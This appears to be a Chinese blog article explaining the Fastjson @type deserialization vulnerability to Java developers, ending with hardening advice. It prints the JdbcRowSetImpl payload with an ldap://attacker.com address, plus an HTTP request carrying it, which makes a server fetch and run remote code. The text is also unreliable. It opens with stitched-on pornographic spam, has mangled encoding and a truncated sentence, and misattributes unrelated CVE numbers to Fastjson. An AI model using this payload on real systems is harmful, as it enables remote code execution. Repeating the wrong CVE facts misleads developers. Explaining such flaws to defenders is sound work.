亚洲乱色熟女一区二区三区丝袜,天堂√中文最新版在线,亚洲精品乱码久久久久久蜜桃图片,香蕉久久久久久av成人,欧美丰满熟妇bbb久久久

前幾天一位安服朋友提到很多開發(fā)團隊對 Fastjson 漏洞的理解還停留在 "知道有風險但不清楚為什么" 的層面。尤其是 Java 開發(fā)團隊，因為 Fastjson 在國內(nèi)項目中使用非常廣泛，一旦出問題影響極大。今天就專門給開發(fā)工程師們講講 Fastjson 漏洞的來龍去脈。

先說說 Fastjson 是什么

Fastjson 是阿里巴巴開發(fā)的一款 Java JSON 解析庫，常見于 Java Web 應(yīng)用或移動服務(wù)端，很多項目都在 Maven 或 Gradle 中直接引用它?！?/span>

它的核心功能就是：

• 將 Java 對象轉(zhuǎn)換成 JSON 字符串（序列化）
• 將 JSON 字符串轉(zhuǎn)換成 Java 對象（反序列化）

Fastjson 漏洞的核心問題：反序列化風險

Fastjson 的主要漏洞集中在反序列化過程中，具體涉及 CVE-2017-18349、CVE-2020-2883、CVE-2021-21351 等多個漏洞編號，本質(zhì)都是惡意構(gòu)造的 JSON 字符串被解析時，觸發(fā)了危險類的方法執(zhí)行。

先理解什么是反序列化

正常情況下，反序列化是個很有用的功能：

1. 客戶端發(fā)送 JSON 字符串：{"name":"張三","age":20}

2. 服務(wù)器用 Fastjson 把它轉(zhuǎn)成 Java 對象：User{name='張三', age=20}

但問題在于，F(xiàn)astjson 為了方便用戶使用，支持一種特殊語法：通過@type字段指定要反序列化的類。

比如：{"@type":"com.example.User","name":"張三","age":20}


這會明確告訴 Fastjson：" 請把我轉(zhuǎn)成com.example.User類的對象 "。

漏洞原理：惡意類的利用

攻擊者發(fā)現(xiàn)，如果在@type里指定系統(tǒng)中已存在的危險類，并構(gòu)造特定參數(shù)，就能觸發(fā)這些類的危險方法。

以最經(jīng)典的利用為例：

1. 攻擊者構(gòu)造惡意 JSON：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}


• 識別@type指定的JdbcRowSetImpl類
• 調(diào)用該類的setDataSourceName方法，傳入惡意 LDAP 地址
• 調(diào)用setAutoCommit方法時，會觸發(fā)JdbcRowSetImpl內(nèi)部的 JNDI lookup 操作
• 服務(wù)器會向attacker.com發(fā)起 LDAP 請求，下載惡意類
• 最終執(zhí)行惡意代碼
  
  

漏洞的關(guān)鍵原因

1. 對@type字段的危險類沒有限制
   ：早期版本允許反序列化任意類
2. 自動調(diào)用 setter 方法的機制
   ：Fastjson 在反序列化時會自動調(diào)用對應(yīng)屬性的 setter 方法，可能觸發(fā)危險操作
3. 與 JNDI 的結(jié)合

   ：當被反序列化的類（如JdbcRowSetImpl）包含 JNDI lookup 功能時，就會形成遠程代碼執(zhí)行鏈

哪些情況有風險？

1. 使用 Fastjson 解析不可信來源的 JSON 數(shù)據(jù)（如用戶輸入、網(wǎng)絡(luò)請求）
2. Fastjson 版本低于安全版本（不同漏洞對應(yīng)的安全版本不同，如1.2.83修復(fù)了多個高危漏洞）

3. 項目中存在可被利用的 "gadget 類"（即包含危險方法的類，如JdbcRowSetImpl、TemplatesImpl等）

簡單的圖示：

惡意JSON --> Fastjson解析 --> 識別@type --> 調(diào)用危險類 --> 加載遠程類 --> 代碼執(zhí)行

舉個實際攻擊場景

1. 構(gòu)造惡意請求
   攻擊者在 HTTP 請求體中放入惡意 JSON

POST/api/user?HTTP/1.1Host:vulnerable.comContent-Type:application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}

2. 服務(wù)器處理流程：

• 后端接口接收 JSON 數(shù)據(jù)
• 調(diào)用JSON.parseObject(requestBody)進行解析

• Fastjson 觸發(fā)反序列化流程，執(zhí)行惡意代

給開發(fā)者的終極建議：

1. 強制升級：Fastjson ≥?1.2.83（修復(fù)了多數(shù)高危漏洞）。

2. 開啟安全模式：

ParserConfig.getGlobalInstance().setSafeMode(true);?// 徹底禁用 Autotype

3.白名單控制（若必須用?@type）：

ParserConfig.getGlobalInstance().addAccept("com.trusted.package.");

4.永不解析不可信 JSON

用戶輸入需嚴格校驗 + 過濾?@type?字段。

關(guān)鍵認知：Fastjson 漏洞本質(zhì)是?Java 反序列化通病的體現(xiàn)（如 Apache Commons Collections、Jackson 也曾有類似問題）。安全取決于配置，而非庫本身。

?開發(fā)者需建立深度防御思維。

記住：任何解析外部數(shù)據(jù)的功能都可能成為攻擊入口，必須保持警惕。